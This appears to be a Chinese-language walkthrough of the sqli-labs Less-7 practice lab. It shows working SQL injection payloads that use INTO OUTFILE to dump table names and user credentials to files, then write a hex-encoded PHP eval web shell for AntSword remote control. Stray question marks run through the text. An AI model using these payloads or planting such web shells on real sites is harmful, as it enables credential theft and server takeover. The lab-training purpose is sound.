靶机环境:win10 phpstudy 2018
路径C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7
首先,输入id参数,尝试寻找注入点? 构造
?id=1 显示正常
?id=1' 显示异常
?id=1')--+显示异常
 ?? ??? ? ?? ??? ?
??id=1')) --+显示正常
?
? ? ?由此判断源码闭合为 (('id'))?
? ?2.?判断字段数量 ??
??id=1')) order by 4 显示错误
???
?id=1')) order by 3 显示正常
 确定字段为3个
outfile前期条件:
在MySQL里面使用select … into outfile可以把数据导出到文本文件上 里面有几个参数 secure_file_priv?用来限制导出效果。他有三个属性: null限制不能导出 为空可以自定义 为一个路径则只能导出到指定路径
具体设置在phpstudy中的配置文件mysql.ini中在最后一行加入?secure_file_priv即可c
?使用outfile命令 看是否可以正常执行(注意路径的分隔符是'/'不是'\')
?id=1')) union select database(),user(),@@datadir into outfile 'C:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/1.txt' --+
?查看路径本机一创建1.txt文件,并且内容正确。恭喜你渗透成功
?更改命令以获取更多数据
?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database() into outfile 'C:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/3.txt' --+
?
?id=1')) union select 1,username,password from users into outfile 'C:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/2.txt' --+
?
结合 一句话木马和使用蚁剑
写入需要注意的
- 写入的内容需要用hex转码,以防拦截
- 写入的前提需要知道物理文件路径
- 写入的前提是有权限写入,或者有配置写入的权限
?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile 'C:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7/4.php' --+

?打开蚁剑 进行连接

?
完全控制靶机?
|